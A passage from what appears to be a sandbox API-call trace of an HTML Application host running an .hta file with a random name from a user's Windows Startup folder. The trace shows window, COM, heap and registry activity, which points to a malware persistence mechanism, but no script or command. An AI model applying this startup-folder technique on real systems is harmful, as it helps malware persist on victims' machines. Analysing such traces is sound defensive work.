[0099.597] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0099.597] IUnknown:Release (This=0x47c444) returned 0x11
[0099.597] IUnknown:Release (This=0x47c444) returned 0x10
[0099.597] IUnknown:Release (This=0x47c444) returned 0xf
[0099.597] IUnknown:Release (This=0x4606e0) returned 0x2
[0099.597] IUnknown:Release (This=0x47c444) returned 0xe
[0099.597] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0099.597] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0099.597] CoTaskMemFree (pv=0x490d80)
[0099.597] CoTaskMemFree (pv=0x0)
[0099.597] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0099.597] IUnknown:Release (This=0x47c444) returned 0xd
[0099.597] CoTaskMemFree (pv=0x490c60)
[0099.597] GetClientRect (in: hWnd=0x1012c, lpRect=0x1cf8ec | out: lpRect=0x1cf8ec) returned 1
[0099.597] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x78) returned 0x461cf0
[0099.597] GetClientRect (in: hWnd=0x1012c, lpRect=0x461d1c | out: lpRect=0x461d1c) returned 1
[0099.597] OffsetRect (in: lprc=0x461d1c, dx=0, dy=0 | out: lprc=0x461d1c) returned 1
[0099.597] OffsetRect (in: lprc=0x461d2c, dx=0, dy=0 | out: lprc=0x461d2c) returned 1
[0099.598] RegisterClassExW (param_1=0x1cf408) returned 0xc145
[0099.598] CoCreateInstance (in: rclsid=0x7327bf70*(Data1=0x50d5107a, Data2=0xd278, Data3=0x4871, Data4=([0]=0x89, [1]=0x89, [2]=0xf4, [3]=0xce, [4]=0xaa, [5]=0xf5, [6]=0x9c, [7]=0xfc)), pUnkOuter=0x0, dwClsContext=0x401, riid=0x7327bf60*(Data1=0x8c0e040, Data2=0x62d1, Data3=0x11d1, Data4=([0]=0x93, [1]=0x26, [2]=0x0, [3]=0x60, [4]=0xb0, [5]=0x67, [6]=0xb8, [7]=0x6e)), ppv=0x7366b020 | out: ppv=0x7366b020*=0x492320) returned 0x0
[0099.843] CActiveIMMAppEx_Trident:IActiveIMMApp:FilterClientWindows (This=0x492320, aaClassList=0x1cf500*=0xc145, uSize=0x1) returned 0x0
[0099.843] CreateWindowExW (dwExStyle=0x0, lpClassName=0xc145, lpWindowName=0x0, dwStyle=0x46000000, X=0, Y=0, nWidth=1064, nHeight=587, hWndParent=0x1012c, hMenu=0x0, hInstance=0x73130000, lpParam=0x482668) returned 0x1013a
[0099.843] GetWindowLongW (hWnd=0x1013a, nIndex=-20) returned 0
[0099.843] SetWindowLongW (hWnd=0x1013a, nIndex=-21, dwNewLong=4728424) returned 0
[0099.843] CActiveIMMAppEx_Trident:IActiveIMMApp:OnDefWindowProc (in: This=0x492320, hWnd=0x1013a, msg=0x81, wParam=0x0, lParam=0x1cf0d4*=4728424, plResult=0x1cef4c | out: plResult=0x1cef4c) returned 0x1
[0099.843] NtdllDefWindowProc_W () returned 0x1
[0099.843] GetCurrentThreadId () returned 0x4e0
[0099.844] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0099.844] GetCurrentThreadId () returned 0x4e0
[0099.844] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0099.844] CActiveIMMAppEx_Trident:IActiveIMMApp:OnDefWindowProc (in: This=0x492320, hWnd=0x1013a, msg=0x1, wParam=0x0, lParam=0x1cf0d4*=4728424, plResult=0x1cef4c | out: plResult=0x1cef4c) returned 0x1
[0099.844] NtdllDefWindowProc_W () returned 0x0
[0099.844] GetCurrentThreadId () returned 0x4e0
[0099.844] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0099.844] CActiveIMMAppEx_Trident:IActiveIMMApp:OnDefWindowProc (in: This=0x492320, hWnd=0x1013a, msg=0x5, wParam=0x0, lParam=0x24b0428, plResult=0x1cef98 | out: plResult=0x1cef98) returned 0x1
[0099.844] NtdllDefWindowProc_W () returned 0x0
[0099.844] GetCurrentThreadId () returned 0x4e0
[0099.844] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0099.844] CActiveIMMAppEx_Trident:IActiveIMMApp:OnDefWindowProc (in: This=0x492320, hWnd=0x1013a, msg=0x3, wParam=0x0, lParam=0x0, plResult=0x1cef98 | out: plResult=0x1cef98) returned 0x1
[0099.844] NtdllDefWindowProc_W () returned 0x0
[0099.844] GetCurrentThreadId () returned 0x4e0
[0099.844] NtdllDefWindowProc_W () returned 0x0
[0099.844] GetClassNameW (in: hWnd=0x1012c, lpClassName=0x1cf508, nMaxCount=256 | out: lpClassName="HTML Application Host Window Class") returned 34
[0099.844] StrCmpIW (psz1="HTML Application Host Window Class", psz2="HTMLPageDesignerWndClass") returned -1
[0099.844] CActiveIMMAppEx_Trident:IActiveIMMApp:Activate (This=0x492320, fRestoreLayout=1) returned 0x0
[0099.844] SendMessageW (hWnd=0x1013a, Msg=0x129, wParam=0x0, lParam=0x0) returned 0x3
[0099.844] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0099.844] CActiveIMMAppEx_Trident:IActiveIMMApp:OnDefWindowProc (in: This=0x492320, hWnd=0x1013a, msg=0x129, wParam=0x0, lParam=0x0, plResult=0x1cf3bc | out: plResult=0x1cf3bc) returned 0x1
[0099.844] NtdllDefWindowProc_W () returned 0x3
[0099.844] GetCurrentThreadId () returned 0x4e0
[0099.845] IntersectRect (in: lprcDst=0x1cf73c, lprcSrc1=0x461d1c, lprcSrc2=0x461d2c | out: lprcDst=0x1cf73c) returned 1
[0099.845] EqualRect (lprc1=0x1cf73c, lprc2=0x461d1c) returned 1
[0099.845] InvalidateRect (hWnd=0x1013a, lpRect=0x0, bErase=1) returned 1
[0099.845] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0xf0) returned 0x495a50
[0099.845] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x150) returned 0x496758
[0099.845] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x140) returned 0x499ef0
[0099.845] IntersectRect (in: lprcDst=0x1cf628, lprcSrc1=0x1cf628, lprcSrc2=0x1cf5c0 | out: lprcDst=0x1cf628) returned 1
[0099.845] IntersectRect (in: lprcDst=0x1cf628, lprcSrc1=0x1cf628, lprcSrc2=0x1cf5c0 | out: lprcDst=0x1cf628) returned 1
[0099.845] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x60) returned 0x4943c8
[0099.845] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x30) returned 0x46da38
[0099.845] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0xec) returned 0x49a038
[0099.845] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0099.845] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0099.845] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x30) returned 0x46da70
[0099.845] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x10) returned 0x493ab0
[0099.875] GetCurrentThreadId () returned 0x4e0
[0099.875] GetCurrentThreadId () returned 0x4e0
[0099.875] GetCurrentThreadId () returned 0x4e0
[0099.875] IntersectRect (in: lprcDst=0x1cf464, lprcSrc1=0x1cf464, lprcSrc2=0x1cf434 | out: lprcDst=0x1cf464) returned 1
[0099.875] IntersectRect (in: lprcDst=0x499f50, lprcSrc1=0x499f50, lprcSrc2=0x1cf454 | out: lprcDst=0x499f50) returned 1
[0099.875] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0099.875] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x28) returned 0x492ad8
[0099.875] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x492ad8 | out: hHeap=0x450000) returned 1
[0099.876] SetWindowPos (hWnd=0x1013a, hWndInsertAfter=0x0, X=0, Y=0, cx=0, cy=0, uFlags=0x5f) returned 1
[0099.876] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0099.876] CActiveIMMAppEx_Trident:IActiveIMMApp:OnDefWindowProc (in: This=0x492320, hWnd=0x1013a, msg=0x46, wParam=0x0, lParam=0x1cf71c*=65850, plResult=0x1cf5b8 | out: plResult=0x1cf5b8) returned 0x1
[0099.876] NtdllDefWindowProc_W () returned 0x0
[0099.876] GetCurrentThreadId () returned 0x4e0
[0099.876] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0099.876] CActiveIMMAppEx_Trident:IActiveIMMApp:OnDefWindowProc (in: This=0x492320, hWnd=0x1013a, msg=0x47, wParam=0x0, lParam=0x1cf71c*=65850, plResult=0x1cf5b4 | out: plResult=0x1cf5b4) returned 0x1
[0099.876] NtdllDefWindowProc_W () returned 0x0
[0099.876] GetCurrentThreadId () returned 0x4e0
[0099.876] SetTimer (hWnd=0x1013a, nIDEvent=0x1000, uElapse=0x64, lpTimerFunc=0x0) returned 0x1000
[0099.877] GetFocus () returned 0x0
[0099.877] EnumChildWindows (hWndParent=0x1013a, lpEnumFunc=0x73450a73, lParam=0x1cf614) returned 0
[0099.880] GetFocus () returned 0x0
[0099.880] SetFocus (hWnd=0x1013a) returned 0x0
[0099.881] NtdllDefWindowProc_W () returned 0x0
[0099.881] NtdllDefWindowProc_W () returned 0x0
[0099.881] NtdllDefWindowProc_W () returned 0x0
[0099.881] NtdllDefWindowProc_W () returned 0x0
[0099.882] NtdllDefWindowProc_W () returned 0x0
[0099.882] NtdllDefWindowProc_W () returned 0x0
[0099.883] NtdllDefWindowProc_W () returned 0x0
[0099.883] NtdllDefWindowProc_W () returned 0x0
[0099.883] NtdllDefWindowProc_W () returned 0x0
[0099.883] NtdllDefWindowProc_W () returned 0x0
[0099.884] NtdllDefWindowProc_W () returned 0x1
[0099.884] NtdllDefWindowProc_W () returned 0x0
[0099.885] NtdllDefWindowProc_W () returned 0x0
[0099.895] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0099.895] LoadLibraryA (lpLibFileName="OLEACC.DLL") returned 0x752e0000
[0100.165] GetProcAddress (hModule=0x752e0000, lpProcName="LresultFromObject") returned 0x752e2663
[0100.165] LresultFromObject () returned 0xc04a
[0100.673] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x14) returned 0x4960d0
[0100.674] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x28) returned 0x492c88
[0100.888] GetCurrentThreadId () returned 0x4e0
[0100.891] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4960d0 | out: hHeap=0x450000) returned 1
[0100.892] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x60) returned 0x49ebe0
[0100.892] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x14) returned 0x4960d0
[0100.892] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x40) returned 0x4a3da0
[0100.892] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x49ebe0 | out: hHeap=0x450000) returned 1
[0100.893] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x60) returned 0x49ebe0
[0100.893] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x14) returned 0x4960f0
[0100.893] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x40) returned 0x4a3de8
[0100.893] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x49ebe0 | out: hHeap=0x450000) returned 1
[0100.893] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x28) returned 0x492d18
[0100.893] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x48) returned 0x49d768
[0100.894] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0100.895] GetMessageTime () returned 0
[0100.895] GetMessagePos () returned 0x0
[0100.896] CActiveIMMAppEx_Trident:IActiveIMMApp:OnDefWindowProc (in: This=0x492320, hWnd=0x1013a, msg=0x281, wParam=0x1, lParam=0xc000000f, plResult=0x1cefdc | out: plResult=0x1cefdc) returned 0x0
[0100.900] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0100.901] GetMessageTime () returned 0
[0100.901] GetMessagePos () returned 0x0
[0100.901] CActiveIMMAppEx_Trident:IActiveIMMApp:OnDefWindowProc (in: This=0x492320, hWnd=0x1013a, msg=0x282, wParam=0x2, lParam=0x0, plResult=0x1cea0c | out: plResult=0x1cea0c) returned 0x0
[0100.901] GetCurrentThreadId () returned 0x4e0
[0100.901] GetCurrentThreadId () returned 0x4e0
[0100.901] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0100.901] GetMessageTime () returned 0
[0100.901] GetMessagePos () returned 0x0
[0100.901] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf190 | out: lpPoint=0x1cf190) returned 1
[0100.902] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf190 | out: lpPoint=0x1cf190) returned 1
[0100.902] GetCapture () returned 0x0
[0100.904] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x30) returned 0x49c058
[0100.904] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x28) returned 0x492d48
[0100.904] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x10) returned 0x49c9b0
[0100.904] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x49c9b0 | out: hHeap=0x450000) returned 1
[0100.904] GetCurrentThreadId () returned 0x4e0
[0100.904] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x49c058 | out: hHeap=0x450000) returned 1
[0100.904] GetCurrentThreadId () returned 0x4e0
[0100.904] GetCurrentThreadId () returned 0x4e0
[0100.904] RtlReAllocateHeap (Heap=0x450000, Flags=0x0, Ptr=0x46d958, Size=0x48) returned 0x49d7b8
[0100.905] CActiveIMMAppEx_Trident:IActiveIMMApp:OnDefWindowProc (in: This=0x492320, hWnd=0x1013a, msg=0x7, wParam=0x0, lParam=0x0, plResult=0x1cf3cc | out: plResult=0x1cf3cc) returned 0x1
[0100.905] NtdllDefWindowProc_W () returned 0x0
[0100.905] GetCurrentThreadId () returned 0x4e0
[0100.905] CActiveIMMAppEx_Trident:IActiveIMMApp:getContext (in: This=0x492320, hWnd=0x1013a, phIMC=0x1cf6f4 | out: phIMC=0x1cf6f4*=0x100fd) returned 0x0
[0100.905] CActiveIMMAppEx_Trident:IActiveIMMApp:AssociateContext (in: This=0x492320, hWnd=0x1013a, hIME=0x0, phPrev=0x1cf6f4 | out: phPrev=0x1cf6f4*=0x100fd) returned 0x0
[0100.905] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x60) returned 0x49ebe0
[0100.905] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x49ebe0 | out: hHeap=0x450000) returned 1
[0100.905] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x60) returned 0x49ebe0
[0100.905] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x49ebe0 | out: hHeap=0x450000) returned 1
[0100.906] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x492d48 | out: hHeap=0x450000) returned 1
[0100.906] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x492d18 | out: hHeap=0x450000) returned 1
[0100.906] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0100.906] GetMessageTime () returned 0
[0100.906] GetMessagePos () returned 0x0
[0100.906] CActiveIMMAppEx_Trident:IActiveIMMApp:OnDefWindowProc (in: This=0x492320, hWnd=0x1013a, msg=0x281, wParam=0x0, lParam=0xc000000f, plResult=0x1cf3dc | out: plResult=0x1cf3dc) returned 0x0
[0100.906] GetCurrentThreadId () returned 0x4e0
[0100.906] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0100.907] GetMessageTime () returned 0
[0100.907] GetMessagePos () returned 0x0
[0100.907] CActiveIMMAppEx_Trident:IActiveIMMApp:OnDefWindowProc (in: This=0x492320, hWnd=0x1013a, msg=0x281, wParam=0x1, lParam=0xc000000f, plResult=0x1cf3dc | out: plResult=0x1cf3dc) returned 0x0
[0100.907] GetCurrentThreadId () returned 0x4e0
[0100.907] IsOS (dwOS=0x25) returned 1
[0100.907] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Internet Explorer\\Main\\FeatureControl", ulOptions=0x0, samDesired=0x1, phkResult=0x1cf5e8 | out: phkResult=0x1cf5e8*=0x230) returned 0x0
[0100.907] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\Main\\FeatureControl", ulOptions=0x0, samDesired=0x1, phkResult=0x1cf5ec | out: phkResult=0x1cf5ec*=0x234) returned 0x0
[0100.907] RegOpenKeyExW (in: hKey=0x234, lpSubKey="FEATURE_MSHTML_AUTOLOAD_IEFRAME", ulOptions=0x0, samDesired=0x1, phkResult=0x1cf5a8 | out: phkResult=0x1cf5a8*=0x0) returned 0x2
[0100.907] RegOpenKeyExW (in: hKey=0x230, lpSubKey="FEATURE_MSHTML_AUTOLOAD_IEFRAME", ulOptions=0x0, samDesired=0x1, phkResult=0x1cf5a8 | out: phkResult=0x1cf5a8*=0x238) returned 0x0
[0100.908] SHRegGetValueW () returned 0x0
[0100.908] RegCloseKey (hKey=0x238) returned 0x0
[0100.908] RegCloseKey (hKey=0x0) returned 0x6
[0100.908] RegCloseKey (hKey=0x0) returned 0x6
[0100.908] RegCloseKey (hKey=0x230) returned 0x0
[0100.908] RegCloseKey (hKey=0x234) returned 0x0
[0100.908] LoadLibraryW (lpLibFileName="ieframe.dll") returned 0x747c0000
[0102.024] GetVersionExW (in: lpVersionInformation=0x1cf0f4*(dwOSVersionInfoSize=0x11c, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x1cf0f4*(dwOSVersionInfoSize=0x11c, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1
[0102.024] LoadLibraryExW (lpLibFileName="ieframe.dll", hFile=0x0, dwFlags=0x22) returned 0x747c0000
[0102.024] LoadStringW (in: hInstance=0x747c0000, uID=0xb5, lpBuffer=0x1cf670, cchBufferMax=46 | out: lpBuffer="HTML Document") returned 0xd
[0102.026] LoadStringW (in: hInstance=0x747c0000, uID=0xb5, lpBuffer=0x1cf6d0, cchBufferMax=46 | out: lpBuffer="HTML Document") returned 0xd
[0102.026] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x28) returned 0x492d18
[0102.026] LoadStringW (in: hInstance=0x747c0000, uID=0xb5, lpBuffer=0x1cf6bc, cchBufferMax=46 | out: lpBuffer="HTML Document") returned 0xd
[0102.027] ShowWindow (hWnd=0x1013a, nCmdShow=1) returned 1
[0102.027] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x47b670 | out: hHeap=0x450000) returned 1
[0102.027] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0102.028] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0102.028] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0102.028] CreateUri (in: pwzURI="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/AppData/Roaming/Microsoft/Windows/Start%20Menu/Programs/Startup/twU5X5u5JjqyRmBjT4Z9MFf9KNV5.hta", dwFlags=0x2b85, dwReserved=0x0, ppURI=0x1ce0a4 | out: ppURI=0x1ce0a4*=0x47c7a4) returned 0x0
[0102.028] IUnknown:QueryInterface (in: This=0x47c7a4, riid=0x732ed6e8*(Data1=0x50295b0c, Data2=0x6b79, Data3=0x4935, Data4=([0]=0xae, [1]=0xd8, [2]=0x5, [3]=0xd8, [4]=0xe, [5]=0xc8, [6]=0x6a, [7]=0x60)), ppvObject=0x1ce07c | out: ppvObject=0x1ce07c*=0x47c7a4) returned 0x0
[0102.028] IUnknown:Release (This=0x47c7a4) returned 0x4
[0102.028] IUnknown:AddRef (This=0x47c7a4) returned 0x5
[0102.029] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x112) returned 0x4bcf20
[0102.029] IUnknown:Release (This=0x47c7a4) returned 0x4
[0102.029] IUnknown:Release (This=0x47c7a4) returned 0x3
[0102.029] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x100) returned 0x4bd040
[0102.029] FindResourceW (hModule=0x747c0000, lpName=0x1fe, lpType=0x6) returned 0x22a84d0
[0102.029] LoadResource (hModule=0x747c0000, hResInfo=0x22a84d0) returned 0x22ce53c
[0102.029] LockResource (hResData=0x22ce53c) returned 0x22ce53c
[0102.029] VirtualQuery (in: lpAddress=0x22ce53c, lpBuffer=0x1cf24c, dwLength=0x1c | out: lpBuffer=0x1cf24c*(BaseAddress=0x22ce000, AllocationBase=0x1ff0000, AllocationProtect=0x2, RegionSize=0x115000, State=0x1000, Protect=0x2, Type=0x40000)) returned 0x1c
[0102.029] SizeofResource (hModule=0x747c0000, hResInfo=0x22a84d0) returned 0xe6
[0102.029] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x200) returned 0x4bd148
[0102.029] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4bd040 | out: hHeap=0x450000) returned 1
[0102.029] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4bcf20 | out: hHeap=0x450000) returned 1
[0102.029] RtlReAllocateHeap (Heap=0x450000, Flags=0x0, Ptr=0x4bd148, Size=0x130) returned 0x4bd148
[0102.029] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x134) returned 0x4bcf20
[0102.029] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0xc) returned 0x47b670
[0102.029] RegisterDragDrop (hwnd=0x1013a, pDropTarget=0x736696cc) returned 0x0
[0102.031] ParseURLW (in: pcszURL="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/AppData/Roaming/Microsoft/Windows/Start%20Menu/Programs/Startup/twU5X5u5JjqyRmBjT4Z9MFf9KNV5.hta", ppu=0x1cf408 | out: ppu=0x1cf408) returned 0x0
[0102.031] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0102.031] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0102.032] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0102.032] StrCmpNICW (lpStr1="", lpSrch="DTD HTML 4.0") returned="DTD HTML 4.01//EN' 'http://www.w3.org/TR/html4/strict.dtd'>"
[0102.032] StrStrIW (lpFirst="", lpSrch="http://www.w3.org/TR/REC-html40/strict.dtd") returned 0x0
[0102.032] StrStrIW (lpFirst="", lpSrch="DTD XHTML") returned 0x0
[0102.032] StrStrIW (lpFirst="", lpSrch="DTD HTML 4") returned="DTD HTML 4.01//EN' 'http://www.w3.org/TR/html4/strict.dtd'>"
[0102.032] StrStrIW (lpFirst="", lpSrch="http://") returned="http://www.w3.org/TR/html4/strict.dtd'>"
[0102.032] StrStrIW (lpFirst="", lpSrch="DTD XHTML 1.0") returned 0x0
[0102.032] StrStrIW (lpFirst="", lpSrch="DTD HTML 4.0") returned="DTD HTML 4.01//EN' 'http://www.w3.org/TR/html4/strict.dtd'>"
[0102.032] StrStrIW (lpFirst="", lpSrch="http://") returned="http://www.w3.org/TR/html4/strict.dtd'>"
[0102.032] StrStrIW (lpFirst="", lpSrch=" Transitional//") returned 0x0
[0102.032] StrStrIW (lpFirst="", lpSrch=" Frameset//") returned 0x0
[0102.032] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4bd060 | out: hHeap=0x450000) returned 1
[0102.032] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x34) returned 0x48fee0
[0102.032] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0xba) returned 0x4bd060
[0102.033] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x4c) returned 0x48ef30
[0102.033] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x10) returned 0x4bb268
[0102.033] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x28) returned 0x492d48
[0102.033] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x4c) returned 0x48ef88
[0102.033] SetTimer (hWnd=0x1013a, nIDEvent=0x1008, uElapse=0x64, lpTimerFunc=0x0) returned 0x1008
[0102.033] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0102.033] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x50) returned 0x48efe0
[0102.033] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x48efe0 | out: hHeap=0x450000) returned 1
[0102.033] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0102.033] IUnknown:AddRef (This=0x47c7a4) returned 0x4
[0102.033] IInternetSecurityManager:MapUrlToZone (in: This=0x736696bc, pwszUrl="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/AppData/Roaming/Microsoft/Windows/Start%20Menu/Programs/Startup/twU5X5u5JjqyRmBjT4Z9MFf9KNV5.hta", pdwZone=0x1cf344, dwFlags=0x0 | out: pdwZone=0x1cf344*=0xffffffff) returned 0x800c0011
[0102.033] CoInternetIsFeatureEnabled (FeatureEntry=0x8, dwFlags=0x2) returned 0x1
[0102.033] CoInternetIsFeatureEnabled (FeatureEntry=0x8, dwFlags=0x2) returned 0x1
[0102.033] CoInternetIsFeatureEnabled (FeatureEntry=0xe, dwFlags=0x2) returned 0x1
[0102.033] IInternetSecurityManager:ProcessUrlAction (in: This=0x736696bc, pwszUrl="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/AppData/Roaming/Microsoft/Windows/Start%20Menu/Programs/Startup/twU5X5u5JjqyRmBjT4Z9MFf9KNV5.hta", dwAction=0x2106, pPolicy=0x1cf348, cbPolicy=0x4, pContext=0x0, cbContext=0x0, dwFlags=0x41, dwReserved=0x0 | out: pPolicy=0x1cf348*=0x0) returned 0x0
[0102.033] CoInternetIsFeatureEnabled (FeatureEntry=0x8, dwFlags=0x2) returned 0x1
[0102.033] IUnknown:Release (This=0x47c7a4) returned 0x3
[0102.034] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x50) returned 0x48efe0
[0102.034] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x48efe0 | out: hHeap=0x450000) returned 1
[0102.034] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0102.034] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4bb268 | out: hHeap=0x450000) returned 1
[0102.034] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x28) returned 0x492d78
[0102.034] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x4c) returned 0x48efe0
[0102.034] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x10) returned 0x4bb268
[0102.034] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x68) returned 0x4bedc8
[0102.034] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x30) returned 0x46d958
[0102.034] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x4c) returned 0x48f038
[0102.034] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x28) returned 0x492da8
[0102.034] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x14) returned 0x496130
[0102.034] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x1a) returned 0x4b17e0
[0102.034] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x40) returned 0x4a3e78
[0102.034] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x4c) returned 0x48f090
[0102.036] RtlReAllocateHeap (Heap=0x450000, Flags=0x0, Ptr=0x49d7b8, Size=0x6c) returned 0x4ba0f0
[0102.036] RedrawWindow (hWnd=0x1013a, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0xa1) returned 1
[0102.043] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4bedc8 | out: hHeap=0x450000) returned 1
[0102.045] GetSystemDefaultLCID () returned 0x409
[0102.045] GetVersionExW (in: lpVersionInformation=0x1cf380*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x290073, dwMinorVersion=0x0, dwBuildNumber=0x450000, dwPlatformId=0x8000, szCSDVersion="K\x1c㢞瞴ĸE㡺瞴鷺矝") | out: lpVersionInformation=0x1cf380*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1
